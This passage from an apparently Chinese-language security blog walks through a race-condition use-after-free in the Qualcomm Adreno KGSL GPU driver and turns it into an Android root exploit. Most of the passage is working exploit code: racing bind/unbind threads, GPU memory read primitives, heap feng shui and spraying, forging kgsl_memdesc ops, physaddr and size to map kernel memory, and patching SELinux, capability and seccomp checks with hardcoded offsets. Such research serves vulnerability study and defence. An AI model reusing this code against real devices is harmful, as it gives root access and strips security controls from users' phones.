	mutex_lock(&memdesc->ranges_lock);

	/*
	 * Unmap the range first. This increases the potential for a page fault
	 * but is safer in case something goes bad while updating the interval
	 * tree
	 */
	kgsl_mmu_unmap_range(memdesc->pagetable, memdesc, start,
		last - start + 1);//解除range内GPU虚拟地址->物理地址的映射关系,(安全优先)

	next = interval_tree_iter_first(&memdesc->ranges, start, last);//区间索引树

	while (next) {
		struct kgsl_memdesc_bind_range *cur;

		node = next;
		cur = bind_to_range(node);
		next = interval_tree_iter_next(node, start, last);

		trace_kgsl_mem_remove_bind_range(target, cur->range.start,
			cur->entry, bind_range_len(cur));

		interval_tree_remove(node, &memdesc->ranges);

    // 是用来判断“新绑定从旧区间的左边开始覆盖,还是从旧区间内部开始覆盖”,从而决定对旧 range 做删除、裁剪还是拆分;同时这也决定了旧 entry 的引用计数是否需要 put、是否需要为拆分新增 get。
		if (start <= cur->range.start) {
			if (last >= cur->range.last) {
				kgsl_mem_entry_put(cur->entry);//取消索引 refcount-1
				kfree(cur);
				continue;
			}
			/* Adjust the start of the mapping */
			cur->range.start = last + 1;
			/* And put it back into the tree */
			interval_tree_insert(node, &memdesc->ranges);

			trace_kgsl_mem_add_bind_range(target,
				cur->range.start, cur->entry, bind_range_len(cur));
		} else {
			if (last < cur->range.last) {
				struct kgsl_memdesc_bind_range *temp;

				/*
				 * The range is split into two so make a new
				 * entry for the far side
				 */
				temp = bind_range_create(last + 1, cur->range.last,
					cur->entry); //针对entry,绑定并计数refcount+1
				/* FIXME: Uhoh, this would be bad */
				BUG_ON(IS_ERR(temp));

				interval_tree_insert(&temp->range,
					&memdesc->ranges);

				trace_kgsl_mem_add_bind_range(target,
					temp->range.start,
					temp->entry, bind_range_len(temp));
			}

			cur->range.last = start - 1;
			interval_tree_insert(node, &memdesc->ranges);

			trace_kgsl_mem_add_bind_range(target, cur->range.start,
				cur->entry, bind_range_len(cur));
		}
	}

	/* Add the new range */
	interval_tree_insert(&range->range, &memdesc->ranges);//把新创建的 `range`(bind_range/vbo 节点)插入到 `target->memdesc.ranges` 这棵区间树里。traget就是vbo?

	trace_kgsl_mem_add_bind_range(target, range->range.start,
		range->entry, bind_range_len(range));//调试
	mutex_unlock(&memdesc->ranges_lock);//释放锁

	return kgsl_mmu_map_child(memdesc->pagetable, memdesc, start,
			&entry->memdesc, offset, last - start + 1);//在 `memdesc->pagetable` 对应的 GPU 页表里,把 `[start, start+len)` 映射到 `entry->memdesc` 的物理页(从 `offset` 开始)。
}

其实到目前为止即使不分析和使用kgsl_memdesc_remove_range函数, 也可以触发漏洞了,不过两种条件竞争攻击方式都挺有趣的,建议都看一下会理解的更深刻。

c
static void kgsl_memdesc_remove_range(struct kgsl_mem_entry *target,
		u64 start, u64 last, struct kgsl_mem_entry *entry)
{
	struct  interval_tree_node *node, *next;
	struct kgsl_memdesc_bind_range *range;
	struct kgsl_memdesc *memdesc = &target->memdesc;//vbo_entry

	mutex_lock(&memdesc->ranges_lock);

	next = interval_tree_iter_first(&memdesc->ranges, start, last);
	while (next) {
		node = next;
		range = bind_to_range(node);
		next = interval_tree_iter_next(node, start, last);

		/*
		 * If entry is null, consider it as a special request. Unbind
		 * the entire range between start and last in this case.
		 */
		if (!entry || range->entry->id == entry->id) {
			if (kgsl_mmu_unmap_range(memdesc->pagetable,
				memdesc, range->range.start, bind_range_len(range)))//取消页表中的vbo_entry和物理地址PA的映射(取消add_ranged的step2)
				continue;

			interval_tree_remove(node, &memdesc->ranges);//取消vbo_entry和child_entry的GPU VA链接。。
			trace_kgsl_mem_remove_bind_range(target,
				range->range.start, range->entry,
				bind_range_len(range));

			kgsl_mmu_map_zero_page_to_range(memdesc->pagetable,
				memdesc, range->range.start, bind_range_len(range));//将vbo_entry指向zero_page

			bind_range_destroy(range);//这里会refcount --
		}
	}

	mutex_unlock(&memdesc->ranges_lock);
}

总结

  1. 查找重叠节点:在 target->memdesc.ranges 里找出与 [start,last] 重叠的 bind_range 节点。

  2. 先撤销页表额物理地址射:对每个匹配节点,先 kgsl_mmu_unmap_range 清掉该节点覆盖区间的 VA→PA

映射(也就是取消add_range的step2);若失败则不继续修改软件状态 。

  1. 释放针对child_entry引用:unmap 成功后从 interval-tree 移除节点,然后把 VA 改映射到 zero page,最后 bind_range_destroy(range) 对 child entry 做 put(refcount--)并释放节点。(也就是取消add_range的step1)

条件竞争的两种方式

有两种条件竞争方式,关键点都在于执行了vbo_entry对child_entry引用后,触发了kgsl_mmu_map_child重新将物理地址绑定给了vbo_entry。

1. 第一种条件竞争方式

同一个vbo_entry同时执行对同一个child_entry进行add_range和remove_range就有概率触发。本质是在thread2中对child_entry的计数器-1,导致child_entry可以被释放,但是由于条件竞争最后thread1才执行kgsl_mmu_map_child将物理地址绑定给了vbo_entry。导致你可以通过访问vbo_entry的gpu_addr来访问一块被释放的物理地址。

thread1thread2main
bind_rangeremove_range
1.mem_entry(child_entry)绑定给vbo_entry(refcount++)
2.解除vbo_entry和物理地址绑定(无效)
3.释放mem_entry(child_entry)和vbo_entry的绑定(refcount--)
4.kgsl_mmu_map_child 将物理地址绑定到vbo_entry
释放mem_entry(child_entry),因此物理地址也被释放。导致UAF

为什么取消vbo_entry与child_entry1的绑定后,GPU 仍然能通过 vbo 的 gpu_addr 访问到 child_entry1 的物理页:取消 vbo_entry 与 child_entry 的链接”指的是range→entry 的软件关系; GPU 之所以还能访问,是因为访问路径依赖的是pagetable 中的 VA→PA,而 kgsl_mmu_map_child 操作的是页表。

参考代码

vbo_entry只能通过gpu_addr进行访问,如何访问gpu_addr,请参考前面的“GPU开发基础”章节。

下面代码针对id1(child_entry)和id3(vbo_entry)同时执行remove_range和add_range

c
    int id1, id2, id3, id4;
    uint64_t alloc_size = PAGE_CNT * 0x1000;
    // alloc obj1
    id1 = kgsl_gpu_alloc(fd, KGSL_MEMFLAGS_USE_CPU_MAP, alloc_size);
    if (id1 < 0)
        return -1;
    void *cpu_mmap1 = mmap(0, alloc_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, id1 * 0x1000);
    if (cpu_mmap1 == (void *)-1) {
        perror("[-] cpu_buffer mmap failed");
        return -1;
    }
    debug("cpu_mmap1 %p\n", cpu_mmap1);
    memset(cpu_mmap1, 'A', alloc_size);
		
		//alloc vbo obj
    id3 = kgsl_gpu_alloc(fd, KGSL_MEMFLAGS_VBO, alloc_size); //vbo_entry的id
    if (id3 < 0)
        return -1;

    gpu_addr = kgsl_get_info(fd, id3); //vbo_entry只能通过gpu_addr进行访问。
    if (!gpu_addr)
        return -1;

    // race
    pthread_t t1;
    struct bind_arguments bind_args;
    bind_args.fd = fd;
    bind_args.alloc_size = alloc_size;
    bind_args.obj_id = id1;//id2;
    bind_args.vbo_id = id3;
    pthread_create(&t1, NULL, bind_proc, &bind_args);//执行remove_range

    struct kgsl_gpumem_bind_ranges bind_ranges;
    struct kgsl_gpumem_bind_range range;
    memset(&bind_ranges, 0, sizeof(bind_ranges));
    memset(&range, 0, sizeof(range));

    bind_ranges.ranges = (uint64_t)&range;
    bind_ranges.ranges_nents = 1;
    bind_ranges.ranges_size = sizeof(range);
    bind_ranges.id = id3;

    range.child_offset = 0;
    range.target_offset = 0;
    range.length = alloc_size;
    range.child_id = id1;
    range.op = KGSL_GPUMEM_RANGE_OP_BIND;//执行add_range

    while (!step);
    step = 0;
    if (ioctl(fd, IOCTL_KGSL_GPUMEM_BIND_RANGES, &bind_ranges)) {
        perror("[-] ioctl IOCTL_KGSL_GPUMEM_BIND_RANGES failed");
        return -1;
    }


    sleep(1);

    // free
    if (munmap(cpu_mmap1, alloc_size)) {
        perror("[-] munmap failed");
        return -1;
    }
    struct kgsl_gpuobj_free free_obj;
    memset(&free_obj, 0, sizeof(free_obj));
    free_obj.id = id1;
    if (ioctl(fd, IOCTL_KGSL_GPUOBJ_FREE, &free_obj)) {
        perror("[-] ioctl IOCTL_KGSL_GPUOBJ_FREE failed");
        return -1;
    }


    // occupy
    id4 = kgsl_gpu_alloc(fd, KGSL_MEMFLAGS_USE_CPU_MAP, alloc_size);
    if (id4 < 0)
        return -1;
    void *cpu_mmap4 = mmap(0, alloc_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, id4 * 0x1000);
    if (cpu_mmap4 == (void *)-1) {
        perror("[-] cpu_buffer mmap failed");
        return -1;
    }
    debug("cpu_mmap4 %p\n", cpu_mmap4);
    memset(cpu_mmap4, 'D', alloc_size);

    int found = 0;
    uint64_t *results = calloc(PAGE_CNT, sizeof(uint64_t));
    if (gpu_read8n(gpu_addr, PAGE_CNT, results) < 0) {
        err("read8n failed\n");
        return -1;
    }
    for (uint64_t i = 0; i < PAGE_CNT; ++i) {
        uint64_t res = results[i];
        if (res == 0x4444444444444444) {
            found = 1;
            debug("!!!!!! gpu read %lx: %lx\n", gpu_addr + i * 0x1000, res);
            break;
        }
    }
    free(results);

线程,执行remove_range

c
void *bind_proc(void *args)
{
    struct bind_arguments *bind_args = (struct bind_arguments *)args;
    struct kgsl_gpumem_bind_ranges bind_ranges;
    struct kgsl_gpumem_bind_range range;

    memset(&bind_ranges, 0, sizeof(bind_ranges));
    memset(&range, 0, sizeof(range));

    bind_ranges.ranges = (uint64_t)&range;
    bind_ranges.ranges_nents = 1;
    bind_ranges.ranges_size = sizeof(range);
    bind_ranges.id = bind_args->vbo_id;

    range.child_offset = 0;
    range.target_offset = 0;
    range.length = bind_args->alloc_size;
    range.child_id = bind_args->obj_id;
    range.op = KGSL_GPUMEM_RANGE_OP_UNBIND;//执行remove_range

    step = 1;
    while (step);
    if (ioctl(bind_args->fd, IOCTL_KGSL_GPUMEM_BIND_RANGES, &bind_ranges)) {
        perror("[-] ioctl IOCTL_KGSL_GPUMEM_BIND_RANGES failed");
    }

    pthread_exit(0);
}

gpu_addr读取(注意:每4096字节读取8字节)

c
static const uint64_t gpu_read8n(uint64_t addr, size_t count, void *results)
{
    assert(count <= 0x3000);
    const uint32_t magic = rand();

    size_t offset_scratch = 0x10;
    size_t offset_ret = offset_scratch + 0xd0000;
    size_t offset_value = offset_scratch + 0xd0000 + 8;
    uint32_t *cmds_start = (uint32_t *)(cmd_buffer + offset_scratch);
    uint32_t *cmds = cmds_start;
    for (size_t i = 0; i < count; i++) {
        *cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
        *cmds++ = 0;
        cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_value + i * 8);
        cmds += cp_gpuaddr(cmds, addr + i*0x1000 );

        *cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
        *cmds++ = 0;
        cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_value + i*8 + 4);
        cmds += cp_gpuaddr(cmds, addr + i*0x1000 + 4);
    }

    *cmds++ = cp_type7_packet(CP_MEM_WRITE, 3);
    cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_ret);
    *cmds++ = magic;

    __clear_cache(cmds_start, cmds);
    usleep(10000);
    if (kgsl_gpu_command_n(fd, drawctxt_id, cmd_buffer_gpu_addr + offset_scratch, (uintptr_t)(cmds) - (uintptr_t)(cmds_start), 1) == -1) {
        printf("gread8: gpu command");
        getchar();
        return -1;
    }

    volatile uint32_t *p = (volatile uint32_t *)(cmd_buffer  + offset_ret);
    for (int i = 0; *p != magic; i++) {
        //printf("%d\n", *p);
        usleep(10000);
        // fprintf(stderr, "gread %#x...\n", *p);
        __clear_cache(cmd_buffer, cmd_buffer + 0x100000);
    }
    __clear_cache(cmd_buffer, cmd_buffer + 0x100000);
    memcpy(results, cmd_buffer + offset_value, 8 * count);
    return 0;
}

第二种条件竞争方式

原理也是类似的,同一个vbo_entry同时执行对child_entry1和child_entry2的add_range就有概率触发。

因为add_range如果对同一个vbo_entry执行也会触发旧的range释放逻辑,所以在add_range并发执行情况下,add_range释放range绑定信息导致计数器错误。

add_range解除索引的代码:

c
	if (start <= cur->range.start) {
		if (last >= cur->range.last) {
			kgsl_mem_entry_put(cur->entry);//取消索引 refcount-1
			kfree(cur);
			continue;
		}

当两个线程同时add_range,vbo->child_entry1和vbo->child_entry2,后执行的bind_range会释放前一个add_range线程的绑定信息(child_entry1的计数器ref count -1),但是不影响两者在结束后都执行kgsl_mmu_map_child,之后child_entry1的物理地址依然被顺利绑定到了vbo_entry中。

thread1thread2main
bind_range(child_entry1)bind_range(child_entry2)
1.mem_entry(child_entry1)绑定给vbo_entry(refcount++)
2.默认扫描range内容,发现已经存在range,释放旧的range,以及对应的(child_entry1 refcount-1)
3.child_entry2绑定给vbo_entry(无需关注)
4.kgsl_mmu_map_child 将child_entry1物理地址绑定到vbo_entry
5.kgsl_mmu_map_child 将child_entry2物理地址绑定到vbo_entry(无需关注)
释放child_entry1,因此物理地址也被释放。导致UAF

通过上面两种方法,我们最终可以获得一个通过gpu_addr进行一段物理地址控制的能力。

use_after_freetrigger_success

原汤化原食:利用KGSL本身提权

内核利用的目标最终还是提权。要做到这一点,通常需要修改内核中的敏感数据,因此关键在于:如何把当前的 Use-After-Free 转化为“可控写”(最好是任意地址写)

很多漏洞会选择走传统的内核利用链路(修改PTE或者dirty pipe等)。而这次利用最“精妙”的地方在于:最终的任意地址写依然可以借助 KGSL 自身的数据结构来完成——相当于“用 KGSL 打 KGSL”,原汤化原食。

先回顾一下对象关系:kgsl_memdesc 在内存布局上是嵌入kgsl_mem_entry 里的(可以近似把它们看作一个整体对象)。这意味着一旦我们能在 UAF 场景中替换/重用 kgsl_mem_entry,就有机会连带影响其内部的 memdesc 字段,从而操控映射行为。

KGSL适合利用的根本原因:

  • 容易堆喷:申请 gpuobj 就会创建 kgsl_mem_entry ,数量与布局都相对可控。
  • 字段价值高kgsl_memdesc 中的 physaddr / size 等字段一旦可控,可能被用来构造“映射任意物理地址”的能力,为进一步的任意写打基础。
  • 易于定位:可以通过设置 metadata 作为内存标记,提升在堆中定位/识别目标 kgsl_mem_entry 的成功率
  • ops 可作为“利用杠杆”kgsl_memdesc 还包含 const struct kgsl_memdesc_ops *ops,这是一个操作函数表,用来抽象不同内存后端的实现差异。驱动在执行映射/解除映射/释放等关键动作时,往往会间接调用 ops->xxx
kgsl_mem_entykgsl_mem_enty2

当前 physaddrsize 虽然已经可控,但直接修改它们并不会立刻改变既有的物理地址映射关系 ——因为页表映射通常只在“建立映射/处理缺页”等特定时机更新。因此我们还需要一个可控的触发点,让驱动重新按照我们伪造的 memdesc 参数去完成映射。

在该漏洞场景下,kgsl_memdesc_ops 同样可控(可被篡改)。如果我们把 memdesc->ops 伪造成 kgsl_contiguous_ops ,就能引入一个非常关键的触发路径:当用户态访问该对象的映射区 域并触发缺页(vmfault)时,内核会进入 kgsl_contiguous_vmfault。在这个函数中,驱动会调用 vmf_insert_pfn 建立页映射,而它所使用的 PFN/范围参数正来自 memdesc->physaddrmemdesc->size ——也就是我们已经可控的字段。

这意味着:我们不仅能让驱动“按我们的参数重映射”,甚至可以进一步把目标物理内存范围映射到用户态视图中,从而为稳定读写原语打基础;在极端情况下,理论上可用于映射大段内核物理内存。

vmfault

要篡改 memdesc->ops,会遇到 kASLR(地址随机化):我们需要知道 kgsl_contiguous_ops 的地址。但进一步观察可以发现, 同一模块内符号之间的相对偏移通常是固定的 。我在实际测试中发现 kgsl_contiguous_opskgsl_page_ops 的地址差是固定的 0xc0 ,因此不需要爆破,只要泄露/已知其中一个的地址即可推算另一个。

shell
nuwa:/ # cat /proc/kallsyms|grep kgsl_contiguous_ops                            
ffffffe4c1cc2d50 r kgsl_contiguous_ops [msm_kgsl]
nuwa:/ # cat /proc/kallsyms| grep kgsl_page_ops                                 
ffffffe4c1cc2e10 r kgsl_page_ops [msm_kgsl]

堆风水

由于 KGSL 的碎片化与缓存机制,即使我们“释放”了 GPU buffer,它对应的物理页也不一定会立刻回到系统通用页分配器 。很多情况下,这些页会先被 KGSL 的页缓存/页池(例如 kgsl_page_pool)回收并复用,用于后续 GPU 内存分配,而不是彻底交还给 buddy allocator。

这会带来一个直接问题: 我们做内核堆喷时,可能根本抢不到目标物理页——因为页还被 KGSL 的 pool 抓在手里,喷射对象即使成功分配,也可能落不到我们希望的物理位置上。

我观察到一个明显现象: 堆喷后再去观察目标物理地址内容,原来的数据并没有变化,说明那批页并没有真正进入“可被我们堆喷占位”的状态。

withoutheapfengshui

为了解决这个问题,需要做一轮 heap fengshui :通过短时间内申请大量 GPU 内存、制造更强的内存压力,迫使部分缓存页从 KGSL 的内部回收路径进一步流向内核通用内存管理。

下面是我使用的 heap fengshui 逻辑:创建多个进程并分配,触发回收链条。

c
void heap_fengshui(int num)
{
    info("Starting heap fengshui\n");
    int pid[num];
    for (int i = 0; i < num; i++) {
        pid[i] = do_alloc();
    }
    if (num == 1)
        usleep(5000);
    else
        sleep(3);
    for (int i = 0; i < num; i++) {
         kill(pid[i], SIGKILL);
    }
    for (int i = 0; i < num; i++) {
        wait(NULL);
    }
    ok("Finish heap fengshui\n");
}

利用的流程

  1. 通过 race 控制一批目标物理页(例如尝试 200 次,争取稳定拿到多个“可控/可复用”的物理地址)。

  2. 让这些页尽可能“可被占位”(配合 heap fengshui)。

  3. 大量分配 kgsl_mem_entry / kgsl_memdesc 相关对象进行堆喷,争取占到目标页。

  4. 通过 metadata 做内存标记,在 GPU 可读路径中定位 kgsl_mem_entry

  5. 伪造关键字段(ops/physaddr/size ),让缺页路径按照我们给的 physaddr/size 重建映射。

  6. 利用 obj_id 走 mmap 映射出内核物理内存并 patch,实现 root。

一个踩坑:循环 200 次但只“重复占位同一块”我一开始犯了个低级错误:单纯循环 200 多遍去“申请→释放”,以为能积累 200 个不同的可控页。 但实际效果是:后续分配很可能反复复用了上一次释放回来的那一块,导致看似循环很多次,实际上一直在同一个位置打转,命中率非常低。更合理的方式是:先“占住”一批对象等循环结束再统一释放 。

批量race控制物理页

代码如下:

c
    info("Starting GPU trigger sequence...\n");
    for (int i = 0; i < MAX_GPU_OBJ; i++) {
        uint64_t* res = (uint64_t*)gpu_trigger(i);  // 每次循环获取GPU对象[9,10](@ref)
        if ((uint64_t)res==0xffffffffffffffff) {
            err("Failed to trigger GPU object at index %d\n", i);
            i--;
            //goto _fail;
        }        
        else{
                gpu_obj[i] = res;
                ok("get gpu_addr : %lx , id = %d\n",gpu_obj[i],i);
        }
    }        

    //释放占位的obj,后续堆喷射。如果释放太早,容易分配同一块内存。
    for (int i = 0; i < MAX_GPU_OBJ; i++) {
        struct kgsl_gpuobj_free free_obj;
        memset(&free_obj, 0, sizeof(free_obj));
        free_obj.id = occupy_objs[i];
        info("free occupy_objs[%d]=%d\n",i,occupy_objs[i]);
        if (ioctl(fd, IOCTL_KGSL_GPUOBJ_FREE, &free_obj)) {
            perror("[-] ioctl IOCTL_KGSL_GPUOBJ_FREE failed");
        }
    }

堆喷射heapspray

使用大量的ksgl_mem_entry占位被释放的物理页,代码如下:

c
int do_exploit_2()
{
    heap_fengshui(80);
    heap_spray(0x29000);
    //trigger_memory_shrink();
    //info("手动释放cache\n");
    //system("echo 3 > /proc/sys/vm/drop_caches");

    return search_memdesc_exploit();
}
c

void heap_spray(int num)
{
    info("Heap Spray");
    const int loop_count = num;  // 定义循环次数常量
    int id_array[loop_count];   // 声明存储ID的数组[2,4](@ref)
    uint64_t alloc_size = PAGE_CNT;//0x1000;//PAGE_CNT * 0x1000; //这里太大了太占空间
    info("heap spray\n");
    // 循环创建GPU对象
    for (int i = 0; i < loop_count; i++) {
        // 分配带有元数据的GPU对象
        id_array[i] = kgsl_gpu_alloc_occupy(fd, 
            KGSL_MEMFLAGS_USE_CPU_MAP, 
            alloc_size);

        // 错误处理
        if (id_array[i] < 0) {
            err(stderr, "第%d次分配失败,错误码:%d\n", i+1, id_array[i]);
            break;  // 遇到错误时中断循环[5](@ref)
        }
        info("成功创建第%d个对象,ID:%d\n", i+1, id_array[i]);
    }

    ok("Heap Spray success");

}

kgsl结构体查找和修改

堆喷+风水之后,就需要查找和修改kgsl_mem_entry:遍历 metadata 来定位目标结构体,并进一步解析出 kgsl_memdesc 的字段偏移。这里有一个现实限制:vbo 类对象没有直接的 mmap 视图,所以不能像普通 gpuobj 那样简单 mmap 到用户态去扫描。 因此需要用 GPU 指令(例如 CP_MEM_TO_MEM)把 GPU VA 的内容拷到我们可读的 cmd_buffer 区域,再从 CPU 侧取回。

c
static const uint64_t gpu_readall(uint64_t addr, size_t count, void *results)
{
    assert(count <= 0x3000);
    const uint32_t magic = rand();

    size_t offset_scratch = 0x10;
    size_t offset_ret = offset_scratch + 0xd0000;
    size_t offset_value = offset_scratch + 0xd0000 + 8;
    uint32_t *cmds_start = (uint32_t *)(cmd_buffer + offset_scratch);
    uint32_t *cmds = cmds_start;
    for (size_t i = 0; i < count; i++) {
        *cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
        *cmds++ = 0;
        cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_value + i * 8);
       //cmds += cp_gpuaddr(cmds, addr + i*4 );
       cmds += cp_gpuaddr(cmds, addr + i*8 );

        *cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
        *cmds++ = 0;
        cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_value + i*8 + 4);
        //cmds += cp_gpuaddr(cmds, addr + i*4 + 4);
        cmds += cp_gpuaddr(cmds, addr + i*8 + 4);
    }

    *cmds++ = cp_type7_packet(CP_MEM_WRITE, 3);
    cmds += cp_gpuaddr(cmds, cmd_buffer_gpu_addr + offset_ret);
    *cmds++ = magic;

    __clear_cache(cmds_start, cmds);
    usleep(10000);
    if (kgsl_gpu_command_n(fd, drawctxt_id, cmd_buffer_gpu_addr + offset_scratch, (uintptr_t)(cmds) - (uintptr_t)(cmds_start), 1) == -1) {
        printf("gread8: gpu command");
        getchar();
        return -1;
    }

    volatile uint32_t *p = (volatile uint32_t *)(cmd_buffer  + offset_ret);
    for (int i = 0; *p != magic; i++) {
        //printf("%d\n", *p);
        usleep(10000);
        // fprintf(stderr, "gread %#x...\n", *p);
        __clear_cache(cmd_buffer, cmd_buffer + 0x100000);
    }
    __clear_cache(cmd_buffer, cmd_buffer + 0x100000);
    memcpy(results, cmd_buffer + offset_value, 8 * count);
    return 0;
}

在内存中找到 metadata 后,就可以顺藤摸瓜定位 kgsl_mem_entry / kgsl_memdesc,并进一步读出关键字段

我导出的结构体布局在该版本上偏移如下(不同设备/不同编译配置会变动;另外我搜索到的地址本身偏移了 0x8,所以这里整体也跟着偏移

  • gpuaddr_offset = 0x190
  • physaddr_offset = 0x188
  • size_offset = 0x180
  • kgsl_memdeesc_ops_offset = 0x168
  • gpuobj_id_offset = 0x18 (查找对应obj,很重要)
find_metadatal

找到目标 entry 后:

  1. 读出原 kgsl_memdesc_ops(通常是 kgsl_page_ops

  2. 根据已验证的固定偏移把它改成 kgsl_contiguous_ops(例如 -0xc0

  3. 覆盖 physaddrsize,让缺页 vmfault 路径用 vmf_insert_pfn 依据我们给的地址范围建立映射

c
if (res == 0x4D4D4D4D4D4D4D4D
            ) {
                found = 1;
                ok("j=%d\n",j);
                ok("!!!!!! gpu read %lx: %lx\n", gpu_obj[i] + j, res); 
                info("finsih search memdesc,found\n");

                dump_memory_hex(results, data_size,(uint64_t)gpu_obj[i]);

                //修改kgsl_mem_entry结构体
                int gpuaddr_offset = 0x190;
                int physaddr_offset = 0x188;
                int size_offset = 0x180;
                int kgsl_memdeesc_ops_offset = 0x168;
                int gpuobj_id_offset = 0x18;
                
           
                uint64_t physaddr_addr = (uint64_t)(gpu_obj[i] + j - physaddr_offset/8);
                uint64_t physaddr = gpu_read(physaddr_addr);
                printf("physaddr addr:%llx\t",physaddr_addr);
                printf("physaddr:%llx\n", physaddr);

                uint64_t physize_addr = (uint64_t)(gpu_obj[i] + j - size_offset/8);
                uint64_t physize = gpu_read(physize_addr);
                printf("physize addr:%llx\t",physize_addr);
                printf("physize:%llx\n", physize);


                uint64_t kgsl_memdeesc_ops_addr = (uint64_t)(gpu_obj[i] + j - kgsl_memdeesc_ops_offset/8);
                uint64_t kgsl_memdeesc_ops = gpu_read(kgsl_memdeesc_ops_addr);
                printf("kgsl_memdeesc_ops addr:%llx\t",kgsl_memdeesc_ops_addr);
                printf("kgsl_memdeesc_ops(kgsl_page_ops):%llx\n", kgsl_memdeesc_ops);

                uint64_t gpuobj_id_addr = (uint64_t)(gpu_obj[i] + j - gpuobj_id_offset/8);
                uint64_t gpuobj_id = gpu_read(gpuobj_id_addr);
                printf("gpuobj_id addr:%llx\t",kgsl_memdeesc_ops_addr);
                printf("gpuobj_id:%llx\n", kgsl_memdeesc_ops);



                //修改kgsl_memdeesc_ops参数,kgsl_secure_page_ops -> kgsl_contiguous_ops offset

                uint64_t new_kgsl_page_ops= kgsl_memdeesc_ops-0xc0;
                printf("kgsl_contiguous_ops:%llx\t",new_kgsl_page_ops);
                gpu_write(kgsl_memdeesc_ops_addr,new_kgsl_page_ops);
                printf("kgsl_memdeesc_ops(kgsl_contiguous_ops):%llx\n",gpu_read(kgsl_memdeesc_ops_addr));

                //修改 physaddr和physize参数
                uint64_t physaddr_cover = 0xa8010000;
                uint64_t physsize_cover = 0x4000000;
                printf("physaddr:%llx\n",physaddr_cover);
                printf("physsize:%llx\n",physsize_cover);
                gpu_write(physaddr_addr,physaddr_cover);
                gpu_write(physize_addr,physsize_cover);

                physaddr = gpu_read(physaddr_addr);
                printf("new physaddr:%llx\n", physaddr);
                physize = gpu_read(physize_addr);
                printf("new physize:%llx\n", physize);

拿到对应的 gpuobj_id 后,可以直接 mmap 它的 CPU 视图(偏移通常按 id * 0x1000 ),从而把我们伪造后的“物理地址范围”映射出来:

c
void *kernel = mmap(0, 0x4000000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, gpuobj_id * 0x1000); //尝试mmap对应的gpupbj_id
if (kernel == (void *)-1) {
    perror("[-] cpu_buffer mmap failed");
    return 0;
}
dump_hex(kernel,0x1000);
hexdump_to_file(kernel, 0x4000000, "kernel.bin", true);//dump kernel
printf("Kernel mmaped at %p", kernel);

kernel patch

内核映射之后,直接对内核参数进行patch即可实现root。

c
                // kernel patch
                uint64_t __text = 0xffffffdf7fa00000;
                uint64_t __secure_computing = 0xffffffdf7fce80a8 -__text -0x10000;
                uint64_t cap_capable = 0xffffffdf8012cd08 -__text - 0x10000;
                uint64_t selinux_capable = 0xffffffdf8013cf5c - __text - 0x10000 ;
                uint64_t selinux_enforcing_boot = 0xffffffdf821b6aec - __text - 0x10000;
                uint64_t security_capable =0xffffffdf8012e9e4 - __text - 0x10000;
                uint64_t avc_has_perm = 0xffffffdf8013a68c - __text - 0x10000;
                uint64_t syscall_trace_enter = 0xffffffdf7fabe684 - __text - 0x10000;
                uint64_t bpf_get_current_pid_tgid = 0xffffffdf7fd6a5b0 - __text - 0x10000;
                uint64_t bpf_get_current_uid_gid = 0xffffffdf7fd6a608 - __text - 0x10000;
                uint64_t bpf_probe_read_kernel_str = 0xffffffdf7fd2af34 - __text - 0x10000;
                uint64_t bpf_probe_read_kernel = 0xffffffdf7fd2ae6c - __text - 0x10000;

                printf("avc_has_perm: %p\n", (void *)(avc_has_perm ));
                printf("__secure_computing: %p\n", (void *)(__secure_computing ));
                printf("cap_capable: %p\n", (void *)(cap_capable ));
                printf("selinux_capable: %p\n", (void *)(selinux_capable ));
                printf("selinux_enforcing_boot: %p\n", (void *)(selinux_enforcing_boot ));
                printf("security_capable: %p\n", (void *)(security_capable ));
                printf("syscall_trace_enter: %p\n", (void *)(syscall_trace_enter));

                uint64_t mov_x0_0_ret = 0xd65f03c0d2800000;

                // Bypass uid and gid checker
                memcpy(kernel + __secure_computing, &mov_x0_0_ret, 8);
                memcpy(kernel + security_capable, &mov_x0_0_ret, 8);
                memcpy(kernel + syscall_trace_enter, &mov_x0_0_ret, 8);

                // Bypass selinux
                //if (brand == BRAND_XIAOMI) {
                    memcpy(kernel + avc_has_perm, &mov_x0_0_ret, 8);
                    memcpy(kernel + selinux_capable, &mov_x0_0_ret, 8);
                //}

                // Bpf Faker
                //if (brand == BRAND_XIAOMI) {
                    memcpy(kernel + bpf_get_current_pid_tgid, &mov_x0_0_ret, 8);
                    memcpy(kernel + bpf_get_current_uid_gid, &mov_x0_0_ret, 8);
                    memcpy(kernel + bpf_probe_read_kernel_str, &mov_x0_0_ret, 8);
                    memcpy(kernel + bpf_probe_read_kernel, &mov_x0_0_ret, 8);
                //}
                printf("Patche kernel done\n");
                hexdump_to_file(kernel, 0x4000000, "kernel_patched.bin", true);//dump kernel
                free(results);

patch之后直接执行su即可root,selinux也可以直接关闭。

root

完整的利用演示:

exp

演示视频

我在B站上传了了PPT讲解和演示内容: https://b23.tv/cftvYAa

参考和致谢

特别感谢@Resery4的帮助

参考文献:

https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html

https://media.defcon.org/DEF CON 32/DEF CON 32 presentations/DEF CON 32 - Xiling Gong Eugene Rodionov Xuan Xing - The Way to Android Root Exploiting Your GPU on Smartphone.pdf

https://dawnslab.jd.com/android_gpu_attack_defence_introduction/https://forum.butian.net/share/3936https://forum.butian.net/share/3924